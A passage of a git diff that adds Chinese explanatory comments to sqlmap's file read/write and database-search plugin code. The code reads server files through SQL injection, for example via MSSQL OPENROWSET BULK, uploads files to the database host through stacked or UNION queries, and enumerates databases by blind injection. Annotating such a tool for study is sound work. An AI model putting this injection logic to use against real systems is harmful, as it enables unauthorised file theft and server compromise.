构建获取大对象长度的 SQL 查询 elif Backend.isDbms(DBMS.MSSQL): - self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") - inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) + # 如果是 MSSQL 数据库 + self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") # 创建支持表 + inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) # 使用 OPENROWSET 将文件内容插入表中 - lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) + lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) # 构建获取表数据长度的 SQL 查询 try: - localFileSize = os.path.getsize(localFile) + localFileSize = os.path.getsize(localFile) # 获取本地文件大小 except OSError: - warnMsg = "file '%s' is missing" % localFile - logger.warning(warnMsg) - localFileSize = 0 + # 如果本地文件不存在 + warnMsg = "file '%s' is missing" % localFile # 构造警告消息 + logger.warning(warnMsg) # 打印警告信息 + localFileSize = 0 # 将本地文件大小设置为 0 if fileRead and Backend.isDbms(DBMS.PGSQL): - logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) - sameFile = True + # 如果是读取文件操作且是 PostgreSQL 数据库 + logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) # 打印信息,表示 PostgreSQL 无法检查读取文件长度 + sameFile = True # 将 sameFile 设置为 True else: - logger.debug("checking the length of the remote file '%s'" % remoteFile) - remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - sameFile = None + # 如果不是读取文件或者不是 PostgreSQL 数据库 + logger.debug("checking the length of the remote file '%s'" % remoteFile) # 打印调试信息,表示正在检查远程文件长度 + remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 获取远程文件大小 + sameFile = None # 将 sameFile 初始化为 None if isNumPosStrValue(remoteFileSize): - remoteFileSize = int(remoteFileSize) - localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) - sameFile = False + # 如果远程文件大小为有效的数字字符串 + remoteFileSize = int(remoteFileSize) # 将远程文件大小转换为整数 + localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) # 将本地文件路径转换为 Unicode + sameFile = False # 将 sameFile 设置为 False if localFileSize == remoteFileSize: - sameFile = True - infoMsg = "the local file '%s' and the remote file " % localFile - infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize) + # 如果本地文件大小和远程文件大小相同 + sameFile = True # 将 sameFile 设置为 True + infoMsg = "the local file '%s' and the remote file " % localFile # 构造信息消息 + infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize) # 将远程文件路径和文件大小添加到信息消息中 elif remoteFileSize > localFileSize: - infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize) - infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize) + # 如果远程文件大小大于本地文件大小 + infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize) # 构造信息消息 + infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize) # 将本地文件路径和文件大小添加到信息消息中 else: - infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize) - infoMsg += "file '%s' (%d B)" % (localFile, localFileSize) + # 如果远程文件大小小于本地文件大小 + infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize) # 构造信息消息 + infoMsg += "file '%s' (%d B)" % (localFile, localFileSize) # 将本地文件路径和文件大小添加到信息消息中 - logger.info(infoMsg) + logger.info(infoMsg) # 打印信息消息 else: - sameFile = False - warnMsg = "it looks like the file has not been written (usually " - warnMsg += "occurs if the DBMS process user has no write " - warnMsg += "privileges in the destination path)" - logger.warning(warnMsg) + # 如果远程文件大小不是有效的数字字符串 + sameFile = False # 将 sameFile 设置为 False + warnMsg = "it looks like the file has not been written (usually " # 构造警告消息 + warnMsg += "occurs if the DBMS process user has no write " # 警告消息补充 + warnMsg += "privileges in the destination path)" # 警告消息补充 + logger.warning(warnMsg) # 打印警告消息 - return sameFile + return sameFile # 返回文件长度检查结果 def fileToSqlQueries(self, fcEncodedList): """ - Called by MySQL and PostgreSQL plugins to write a file on the - back-end DBMS underlying file system - """ + 将编码后的文件内容转换为 SQL 查询语句,用于 MySQL 和 PostgreSQL。 + + Args: + fcEncodedList (list): 编码后的文件内容列表 - counter = 0 - sqlQueries = [] + Returns: + list: SQL 查询语句列表 + """ + counter = 0 # 初始化计数器 + sqlQueries = [] # 初始化 SQL 查询语句列表 - for fcEncodedLine in fcEncodedList: + for fcEncodedLine in fcEncodedList: # 遍历编码后的文件内容列表 if counter == 0: + # 如果是第一个编码行 sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine)) + # 将带有编码数据的插入语句添加到 SQL 查询列表中 else: + # 如果不是第一个编码行 updatedField = agent.simpleConcatenate(self.tblField, fcEncodedLine) + # 构建更新语句,将编码行添加到数据字段中 sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField)) + # 将更新语句添加到 SQL 查询列表中 - counter += 1 + counter += 1 # 计数器加 1 - return sqlQueries + return sqlQueries # 返回 SQL 查询语句列表 def fileEncode(self, fileName, encoding, single, chunkSize=256): """ - Called by MySQL and PostgreSQL plugins to write a file on the - back-end DBMS underlying file system - """ + 读取文件内容,并进行编码。 + + Args: + fileName (str): 文件路径 + encoding (str): 编码方式,例如 "hex"、"base64" 或其他编码 + single (bool): 是否将所有内容编码为单行 + chunkSize (int, optional): 分块大小. Defaults to 256. - checkFile(fileName) + Returns: + list: 编码后的文件内容列表 + """ + checkFile(fileName) # 检查文件是否存在 with open(fileName, "rb") as f: - content = f.read() + # 打开文件进行读取 + content = f.read() # 读取文件内容 - return self.fileContentEncode(content, encoding, single, chunkSize) + return self.fileContentEncode(content, encoding, single, chunkSize) # 返回编码后的文件内容 def fileContentEncode(self, content, encoding, single, chunkSize=256): - retVal = [] + """ + 对文件内容进行编码。 + + Args: + content (bytes): 文件内容 + encoding (str): 编码方式,例如 "hex"、"base64" 或其他编码 + single (bool): 是否将所有内容编码为单行 + chunkSize (int, optional): 分块大小. Defaults to 256. + + Returns: + list: 编码后的文件内容列表 + """ + retVal = [] # 初始化返回列表 if encoding == "hex": - content = encodeHex(content) + # 如果编码方式为 "hex" + content = encodeHex(content) # 将文件内容进行十六进制编码 elif encoding == "base64": - content = encodeBase64(content) + # 如果编码方式为 "base64" + content = encodeBase64(content) # 将文件内容进行 Base64 编码 else: - content = codecs.encode(content, encoding) + # 如果编码方式不是 "hex" 或 "base64" + content = codecs.encode(content, encoding) # 使用指定的编码方式进行编码 - content = getText(content).replace("\n", "") + content = getText(content).replace("\ +", "") # 将编码后的内容转换为文本,并删除换行符 if not single: + # 如果不是单行编码 if len(content) > chunkSize: + # 如果内容长度大于分块大小 for i in xrange(0, len(content), chunkSize): - _ = content[i:i + chunkSize] + # 按照分块大小进行分块 + _ = content[i:i + chunkSize] # 获取当前分块 if encoding == "hex": - _ = "0x%s" % _ + # 如果编码方式为 "hex" + _ = "0x%s" % _ # 添加十六进制前缀 elif encoding == "base64": - _ = "'%s'" % _ + # 如果编码方式为 "base64" + _ = "'%s'" % _ # 添加单引号 - retVal.append(_) + retVal.append(_) # 将当前分块添加到返回列表中 if not retVal: + # 如果返回列表为空 if encoding == "hex": - content = "0x%s" % content + # 如果编码方式为 "hex" + content = "0x%s" % content # 添加十六进制前缀 elif encoding == "base64": - content = "'%s'" % content + # 如果编码方式为 "base64" + content = "'%s'" % content # 添加单引号 - retVal = [content] + retVal = [content] # 将编码后的内容添加到返回列表中 - return retVal + return retVal # 返回编码后的文件内容列表 def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False): - choice = None + """ + 询问用户是否需要检查写入的文件。 + + Args: + localFile (str): 本地文件路径 + remoteFile (str): 远程文件路径 + forceCheck (bool, optional): 是否强制检查. Defaults to False. + + Returns: + bool: 如果文件写入成功返回 True,如果用户选择不检查返回 True,否则返回 False + """ + choice = None # 初始化用户选择 if forceCheck is not True: - message = "do you want confirmation that the local file '%s' " % localFile - message += "has been successfully written on the back-end DBMS " - message += "file system ('%s')? [Y/n] " % remoteFile - choice = readInput(message, default='Y', boolean=True) + # 如果不强制检查 + message = "do you want confirmation that the local file '%s' " % localFile # 构造询问消息 + message += "has been successfully written on the back-end DBMS " # 消息补充 + message += "file system ('%s')? [Y/n] " % remoteFile # 消息补充 + choice = readInput(message, default='Y', boolean=True) # 读取用户输入 if forceCheck or choice: - return self._checkFileLength(localFile, remoteFile) + # 如果强制检查或者用户选择检查 + return self._checkFileLength(localFile, remoteFile) # 调用检查文件长度函数 - return True + return True # 如果用户选择不检查,则返回 True def askCheckReadFile(self, localFile, remoteFile): + """ + 询问用户是否需要检查读取的文件。 + + Args: + localFile (str): 本地文件路径 + remoteFile (str): 远程文件路径 + + Returns: + bool: 如果文件读取成功返回 True,如果用户选择不检查返回 None + """ if not kb.bruteMode: - message = "do you want confirmation that the remote file '%s' " % remoteFile - message += "has been successfully downloaded from the back-end " - message += "DBMS file system? [Y/n] " + # 如果不是爆破模式 + message = "do you want confirmation that the remote file '%s' " % remoteFile # 构造询问消息 + message += "has been successfully downloaded from the back-end " # 消息补充 + message += "DBMS file system? [Y/n] " # 消息补充 if readInput(message, default='Y', boolean=True): - return self._checkFileLength(localFile, remoteFile, True) + # 读取用户输入 + return self._checkFileLength(localFile, remoteFile, True) # 如果用户选择检查,调用检查文件长度函数 - return None + return None # 如果用户选择不检查,则返回 None def nonStackedReadFile(self, remoteFile): - errMsg = "'nonStackedReadFile' method must be defined " - errMsg += "into the specific DBMS plugin" - raise SqlmapUndefinedMethod(errMsg) + """ + 使用非堆叠查询技术读取远程文件,需要在子类中实现。 + + Args: + remoteFile (str): 远程文件路径 + + Raises: + SqlmapUndefinedMethod: 如果没有在子类中实现该方法,则抛出该异常 + """ + errMsg = "'nonStackedReadFile' method must be defined " # 构造错误消息 + errMsg += "into the specific DBMS plugin" # 错误消息补充 + raise SqlmapUndefinedMethod(errMsg) # 抛出 SqlmapUndefinedMethod 异常 def stackedReadFile(self, remoteFile): - errMsg = "'stackedReadFile' method must be defined " - errMsg += "into the specific DBMS plugin" - raise SqlmapUndefinedMethod(errMsg) + """ + 使用堆叠查询技术读取远程文件,需要在子类中实现。 + + Args: + remoteFile (str): 远程文件路径 + + Raises: + SqlmapUndefinedMethod: 如果没有在子类中实现该方法,则抛出该异常 + """ + errMsg = "'stackedReadFile' method must be defined " # 构造错误消息 + errMsg += "into the specific DBMS plugin" # 错误消息补充 + raise SqlmapUndefinedMethod(errMsg) # 抛出 SqlmapUndefinedMethod 异常 def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): - errMsg = "'unionWriteFile' method must be defined " - errMsg += "into the specific DBMS plugin" - raise SqlmapUndefinedMethod(errMsg) + """ + 使用 UNION 查询技术写入文件,需要在子类中实现。 + + Args: + localFile (str): 本地文件路径 + remoteFile (str): 远程文件路径 + fileType (str): 文件类型 + forceCheck (bool, optional): 是否强制检查. Defaults to False. + + Raises: + SqlmapUndefinedMethod: 如果没有在子类中实现该方法,则抛出该异常 + """ + errMsg = "'unionWriteFile' method must be defined " # 构造错误消息 + errMsg += "into the specific DBMS plugin" # 错误消息补充 + raise SqlmapUndefinedMethod(errMsg) # 抛出 SqlmapUndefinedMethod 异常 def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): - errMsg = "'stackedWriteFile' method must be defined " - errMsg += "into the specific DBMS plugin" - raise SqlmapUndefinedMethod(errMsg) + """ + 使用堆叠查询技术写入文件,需要在子类中实现。 + + Args: + localFile (str): 本地文件路径 + remoteFile (str): 远程文件路径 + fileType (str): 文件类型 + forceCheck (bool, optional): 是否强制检查. Defaults to False. + + Raises: + SqlmapUndefinedMethod: 如果没有在子类中实现该方法,则抛出该异常 + """ + errMsg = "'stackedWriteFile' method must be defined " # 构造错误消息 + errMsg += "into the specific DBMS plugin" # 错误消息补充 + raise SqlmapUndefinedMethod(errMsg) # 抛出 SqlmapUndefinedMethod 异常 def readFile(self, remoteFile): - localFilePaths = [] + """ + 读取远程文件。 + + Args: + remoteFile (str): 远程文件路径 + + Returns: + list: 本地文件路径列表 + """ + localFilePaths = [] # 初始化本地文件路径列表 - self.checkDbmsOs() + self.checkDbmsOs() # 检查数据库类型和操作系统类型 for remoteFile in remoteFile.split(','): - fileContent = None - kb.fileReadMode = True + # 遍历所有远程文件路径 + fileContent = None # 初始化文件内容 + kb.fileReadMode = True # 设置文件读取模式为 True if conf.direct or isStackingAvailable(): + # 如果使用直接连接或支持堆叠查询 if isStackingAvailable(): - debugMsg = "going to try to read the file with stacked query SQL " - debugMsg += "injection technique" - logger.debug(debugMsg) + # 如果支持堆叠查询 + debugMsg = "going to try to read the file with stacked query SQL " # 构造调试消息 + debugMsg += "injection technique" # 调试消息补充 + logger.debug(debugMsg) # 打印调试消息 - fileContent = self.stackedReadFile(remoteFile) + fileContent = self.stackedReadFile(remoteFile) # 使用堆叠查询技术读取文件 elif Backend.isDbms(DBMS.MYSQL): - debugMsg = "going to try to read the file with non-stacked query " - debugMsg += "SQL injection technique" - logger.debug(debugMsg) + # 如果是 MySQL 数据库 + debugMsg = "going to try to read the file with non-stacked query " # 构造调试消息 + debugMsg += "SQL injection technique" # 调试消息补充 + logger.debug(debugMsg) # 打印调试消息 - fileContent = self.nonStackedReadFile(remoteFile) + fileContent = self.nonStackedReadFile(remoteFile) # 使用非堆叠查询技术读取文件 else: - errMsg = "none of the SQL injection techniques detected can " - errMsg += "be used to read files from the underlying file " - errMsg += "system of the back-end %s server" % Backend.getDbms() - logger.error(errMsg) + # 如果无法使用以上技术读取文件 + errMsg = "none of the SQL injection techniques detected can " # 构造错误消息 + errMsg += "be used to read files from the underlying file " # 错误消息补充 + errMsg += "system of the back-end %s server" % Backend.getDbms() # 错误消息补充 + logger.error(errMsg) # 打印错误消息 - fileContent = None + fileContent = None # 将文件内容设置为 None - kb.fileReadMode = False + kb.fileReadMode = False # 设置文件读取模式为 False if fileContent in (None, "") and not Backend.isDbms(DBMS.PGSQL): - self.cleanup(onlyFileTbl=True) + # 如果文件内容为空并且不是 PostgreSQL 数据库 + self.cleanup(onlyFileTbl=True) # 清理文件表 elif isListLike(fileContent): - newFileContent = "" + # 如果文件内容是一个列表 + newFileContent = "" # 初始化新的文件内容 for chunk in fileContent: + # 遍历文件内容中的块 if isListLike(chunk): + # 如果块本身是一个列表 if len(chunk) > 0: - chunk = chunk[0] + # 如果块列表不为空 + chunk = chunk[0] # 获取块列表的第一个元素 else: - chunk = "" + # 如果块列表为空 + chunk = "" # 将块设置为空字符串 if chunk: - newFileContent += chunk + # 如果块不为空 + newFileContent += chunk # 将块添加到新的文件内容中 - fileContent = newFileContent + fileContent = newFileContent # 将新的文件内容赋值给 fileContent if fileContent is not None: - fileContent = decodeDbmsHexValue(fileContent, True) + # 如果文件内容不为空 + fileContent = decodeDbmsHexValue(fileContent, True) # 解码文件内容 if fileContent.strip(): - localFilePath = dataToOutFile(remoteFile, fileContent) - + # 如果文件内容不为空 + localFilePath = dataToOutFile(remoteFile, fileContent) # 将文件内容写入本地文件 if not Backend.isDbms(DBMS.PGSQL): - self.cleanup(onlyFileTbl=True) + # 如果不是 PostgreSQL 数据库 + self.cleanup(onlyFileTbl=True) # 清理文件表 - sameFile = self.askCheckReadFile(localFilePath, remoteFile) + sameFile = self.askCheckReadFile(localFilePath, remoteFile) # 询问用户是否需要检查读取的文件 if sameFile is True: - localFilePath += " (same file)" + # 如果文件相同 + localFilePath += " (same file)" # 添加 (same file) 后缀 elif sameFile is False: - localFilePath += " (size differs from remote file)" + # 如果文件大小不同 + localFilePath += " (size differs from remote file)" # 添加 (size differs from remote file) 后缀 - localFilePaths.append(localFilePath) + localFilePaths.append(localFilePath) # 将本地文件路径添加到列表中 elif not kb.bruteMode: - errMsg = "no data retrieved" - logger.error(errMsg) + # 如果文件内容为空并且不是爆破模式 + errMsg = "no data retrieved" # 构造错误消息 + logger.error(errMsg) # 打印错误消息 - return localFilePaths + return localFilePaths # 返回本地文件路径列表 def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): - written = False + """ + 写入本地文件到远程服务器。 + + Args: + localFile (str): 本地文件路径 + remoteFile (str): 远程文件路径 + fileType (str, optional): 文件类型. Defaults to None. + forceCheck (bool, optional): 是否强制检查文件长度. Defaults to False. + + Returns: + bool: 如果文件写入成功,则返回 True;否则返回 False。 + """ + written = False # 初始化写入状态 - checkFile(localFile) + checkFile(localFile) # 检查本地文件是否存在 - self.checkDbmsOs() + self.checkDbmsOs() # 检查数据库类型和操作系统类型 if localFile.endswith('_'): - localFile = getUnicode(decloakToTemp(localFile)) + # 如果本地文件名以 '_' 结尾 + localFile = getUnicode(decloakToTemp(localFile)) # 将伪装的文件名转换为临时文件路径 if conf.direct or isStackingAvailable(): + # 如果使用直接连接或者支持堆叠查询技术 if isStackingAvailable(): - debugMsg = "going to upload the file '%s' with " % fileType - debugMsg += "stacked query technique" - logger.debug(debugMsg) + # 如果支持堆叠查询技术 + debugMsg = "going to upload the file '%s' with " % fileType # 构造调试消息 + debugMsg += "stacked query technique" # 调试消息补充 + logger.debug(debugMsg) # 打印调试信息 - written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) - self.cleanup(onlyFileTbl=True) + written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) # 使用堆叠查询技术写入文件 + self.cleanup(onlyFileTbl=True) # 清理临时表 elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): - debugMsg = "going to upload the file '%s' with " % fileType - debugMsg += "UNION query technique" - logger.debug(debugMsg) + # 如果支持 UNION 查询技术并且是 MySQL 数据库 + debugMsg = "going to upload the file '%s' with " % fileType # 构造调试信息 + debugMsg += "UNION query technique" # 调试消息补充 + logger.debug(debugMsg) # 打印调试信息 - written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) + written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) # 使用 UNION 查询技术写入文件 elif Backend.isDbms(DBMS.MYSQL): - debugMsg = "going to upload the file '%s' with " % fileType - debugMsg += "LINES TERMINATED BY technique" - logger.debug(debugMsg) + # 如果是 MySQL 数据库 + debugMsg = "going to upload the file '%s' with " % fileType # 构造调试信息 + debugMsg += "LINES TERMINATED BY technique" # 调试消息补充 + logger.debug(debugMsg) # 打印调试信息 - written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck) + written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck) # 使用 LINES TERMINATED BY 技术写入文件 else: - errMsg = "none of the SQL injection techniques detected can " - errMsg += "be used to write files to the underlying file " - errMsg += "system of the back-end %s server" % Backend.getDbms() - logger.error(errMsg) + # 如果以上技术都无法使用 + errMsg = "none of the SQL injection techniques detected can " # 构造错误消息 + errMsg += "be used to write files to the underlying file " # 错误消息补充 + errMsg += "system of the back-end %s server" % Backend.getDbms() # 错误消息补充 + logger.error(errMsg) # 打印错误消息 - return None + return None # 返回 None - return written + return written # 返回写入状态 \ No newline at end of file diff --git a/src/sqlmap-master/plugins/generic/search.py b/src/sqlmap-master/plugins/generic/search.py index 384936a..0b89b1e 100644 --- a/src/sqlmap-master/plugins/generic/search.py +++ b/src/sqlmap-master/plugins/generic/search.py @@ -5,355 +5,374 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import re - -from lib.core.agent import agent -from lib.core.common import arrayizeValue -from lib.core.common import Backend -from lib.core.common import filterPairValues -from lib.core.common import getLimitRange -from lib.core.common import isInferenceAvailable -from lib.core.common import isNoneValue -from lib.core.common import isNumPosStrValue -from lib.core.common import isTechniqueAvailable -from lib.core.common import readInput -from lib.core.common import safeSQLIdentificatorNaming -from lib.core.common import safeStringFormat -from lib.core.common import unArrayizeValue -from lib.core.common import unsafeSQLIdentificatorNaming -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.data import paths -from lib.core.data import queries -from lib.core.enums import CHARSET_TYPE -from lib.core.enums import DBMS -from lib.core.enums import EXPECTED -from lib.core.enums import PAYLOAD -from lib.core.exception import SqlmapMissingMandatoryOptionException -from lib.core.exception import SqlmapUserQuitException -from lib.core.settings import CURRENT_DB -from lib.core.settings import METADB_SUFFIX -from lib.core.settings import UPPER_CASE_DBMSES -from lib.request import inject -from lib.utils.brute import columnExists -from lib.utils.brute import tableExists -from thirdparty import six +import re # 导入re模块,用于正则表达式操作 + +from lib.core.agent import agent # 导入agent模块,用于处理注入请求 +from lib.core.common import arrayizeValue # 导入arrayizeValue函数,用于将值转换为数组 +from lib.core.common import Backend # 导入Backend类,用于获取后端数据库信息 +from lib.core.common import filterPairValues # 导入filterPairValues函数,用于过滤键值对 +from lib.core.common import getLimitRange # 导入getLimitRange函数,用于获取限制范围 +from lib.core.common import isInferenceAvailable # 导入isInferenceAvailable函数,用于判断是否可以使用盲注 +from lib.core.common import isNoneValue # 导入isNoneValue函数,用于判断值是否为None +from lib.core.common import isNumPosStrValue # 导入isNumPosStrValue函数,用于判断字符串是否为正整数 +from lib.core.common import isTechniqueAvailable # 导入isTechniqueAvailable函数,用于判断注入技术是否可用 +from lib.core.common import readInput # 导入readInput函数,用于安全地读取用户输入 +from lib.core.common import safeSQLIdentificatorNaming # 导入safeSQLIdentificatorNaming函数,用于安全命名SQL标识符 +from lib.core.common import safeStringFormat # 导入safeStringFormat函数,用于安全格式化字符串 +from lib.core.common import unArrayizeValue # 导入unArrayizeValue函数,用于将数组转换为值 +from lib.core.common import unsafeSQLIdentificatorNaming # 导入unsafeSQLIdentificatorNaming函数,用于不安全命名SQL标识符 +from lib.core.data import conf # 导入conf对象,存储全局配置信息 +from lib.core.data import kb # 导入kb对象,存储全局知识库信息 +from lib.core.data import logger # 导入logger对象,用于记录日志 +from lib.core.data import paths # 导入paths对象,存储路径信息 +from lib.core.data import queries # 导入queries对象,存储查询语句信息 +from lib.core.enums import CHARSET_TYPE # 导入CHARSET_TYPE枚举类,定义字符集类型 +from lib.core.enums import DBMS # 导入DBMS枚举类,定义数据库类型 +from lib.core.enums import EXPECTED # 导入EXPECTED枚举类,定义预期返回类型 +from lib.core.enums import PAYLOAD # 导入PAYLOAD枚举类,定义Payload类型 +from lib.core.exception import SqlmapMissingMandatoryOptionException # 导入SqlmapMissingMandatoryOptionException异常类,表示缺少必要选项 +from lib.core.exception import SqlmapUserQuitException # 导入SqlmapUserQuitException异常类,表示用户退出 +from lib.core.settings import CURRENT_DB # 导入CURRENT_DB常量,表示当前数据库 +from lib.core.settings import METADB_SUFFIX # 导入METADB_SUFFIX常量,表示元数据后缀 +from lib.core.settings import UPPER_CASE_DBMSES # 导入UPPER_CASE_DBMSES常量,表示需要转换为大写的数据库类型 +from lib.request import inject # 导入inject模块,用于执行注入 +from lib.utils.brute import columnExists # 导入columnExists函数,用于爆破列是否存在 +from lib.utils.brute import tableExists # 导入tableExists函数,用于爆破表是否存在 +from thirdparty import six # 导入six模块,用于Python2和Python3的兼容 class Search(object): """ This class defines search functionalities for plugins. + 这个类定义了插件的搜索功能。 """ def __init__(self): - pass + pass # 初始化方法,此处为空 def searchDb(self): - foundDbs = [] - rootQuery = queries[Backend.getIdentifiedDbms()].search_db - dbList = conf.db.split(',') + """ + Searches for database names based on user input. + 根据用户输入搜索数据库名称。 + """ + foundDbs = [] # 初始化找到的数据库列表 + rootQuery = queries[Backend.getIdentifiedDbms()].search_db # 获取当前数据库的搜索数据库查询 + dbList = conf.db.split(',') # 获取用户输入的数据库列表,用逗号分割 if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - dbCond = rootQuery.inband.condition2 + dbCond = rootQuery.inband.condition2 # 如果是MySQL且没有information_schema,则使用condition2 else: - dbCond = rootQuery.inband.condition + dbCond = rootQuery.inband.condition # 否则使用condition - dbConsider, dbCondParam = self.likeOrExact("database") + dbConsider, dbCondParam = self.likeOrExact("database") # 获取数据库搜索条件 - for db in dbList: - values = [] - db = safeSQLIdentificatorNaming(db) + for db in dbList: # 遍历数据库列表 + values = [] # 初始化查询结果列表 + db = safeSQLIdentificatorNaming(db) # 对数据库名称进行安全命名 if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: - db = db.upper() + db = db.upper() # 如果是需要大写的数据库,则转换为大写 - infoMsg = "searching database" + infoMsg = "searching database" # 初始化日志信息 if dbConsider == "1": - infoMsg += "s LIKE" - infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) - logger.info(infoMsg) - - if conf.excludeSysDbs: - exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) - infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) - logger.info(infoMsg) + infoMsg += "s LIKE" # 如果是LIKE匹配,则添加LIKE + infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) # 添加不安全的数据库名称 + logger.info(infoMsg) # 打印日志信息 + + if conf.excludeSysDbs: # 如果排除系统数据库 + exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) # 构建排除系统数据库的SQL语句 + infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) # 构建跳过系统数据库的日志信息 + logger.info(infoMsg) # 打印跳过系统数据库的日志信息 else: - exclDbsQuery = "" + exclDbsQuery = "" # 如果不排除系统数据库,则SQL语句为空 - dbQuery = "%s%s" % (dbCond, dbCondParam) - dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db) + dbQuery = "%s%s" % (dbCond, dbCondParam) # 构建数据库查询条件 + dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db) # 将数据库名称添加到查询条件中 + # 如果支持UNION,ERROR或者QUERY注入,则使用带内注入 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.inband.query2 + query = rootQuery.inband.query2 # 如果是MySQL且没有information_schema,则使用query2 else: - query = rootQuery.inband.query + query = rootQuery.inband.query # 否则使用query - query = query % (dbQuery + exclDbsQuery) - values = inject.getValue(query, blind=False, time=False) + query = query % (dbQuery + exclDbsQuery) # 将查询条件添加到SQL语句中 + values = inject.getValue(query, blind=False, time=False) # 执行SQL查询 - if not isNoneValue(values): - values = arrayizeValue(values) + if not isNoneValue(values): # 如果查询结果不为空 + values = arrayizeValue(values) # 将查询结果转换为数组 - for value in values: - value = safeSQLIdentificatorNaming(value) - foundDbs.append(value) + for value in values: # 遍历查询结果 + value = safeSQLIdentificatorNaming(value) # 对查询结果进行安全命名 + foundDbs.append(value) # 将结果添加到找到的数据库列表中 + # 如果带内注入失败,则尝试使用盲注 if not values and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database" if dbConsider == "1": - infoMsg += "s LIKE" + infoMsg += "s LIKE" # 如果是LIKE匹配,则添加LIKE infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) - logger.info(infoMsg) + logger.info(infoMsg) # 打印日志信息 if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.blind.count2 + query = rootQuery.blind.count2 # 如果是MySQL且没有information_schema,则使用count2 else: - query = rootQuery.blind.count + query = rootQuery.blind.count # 否则使用count - query = query % (dbQuery + exclDbsQuery) - count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + query = query % (dbQuery + exclDbsQuery) # 将查询条件添加到SQL语句中 + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 执行盲注,获取数据库数量 - if not isNumPosStrValue(count): + if not isNumPosStrValue(count): # 如果数据库数量不是正整数 warnMsg = "no database" if dbConsider == "1": - warnMsg += "s LIKE" + warnMsg += "s LIKE" # 如果是LIKE匹配,则添加LIKE warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db) - logger.warning(warnMsg) + logger.warning(warnMsg) # 打印日志信息 - continue + continue # 跳过当前数据库 - indexRange = getLimitRange(count) + indexRange = getLimitRange(count) # 获取索引范围 - for index in indexRange: + for index in indexRange: # 遍历索引范围 if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.blind.query2 + query = rootQuery.blind.query2 # 如果是MySQL且没有information_schema,则使用query2 else: - query = rootQuery.blind.query - - query = query % (dbQuery + exclDbsQuery) - query = agent.limitQuery(index, query, dbCond) + query = rootQuery.blind.query # 否则使用query - value = unArrayizeValue(inject.getValue(query, union=False, error=False)) - value = safeSQLIdentificatorNaming(value) - foundDbs.append(value) + query = query % (dbQuery + exclDbsQuery) # 将查询条件添加到SQL语句中 + query = agent.limitQuery(index, query, dbCond) # 添加限制条件 + + value = 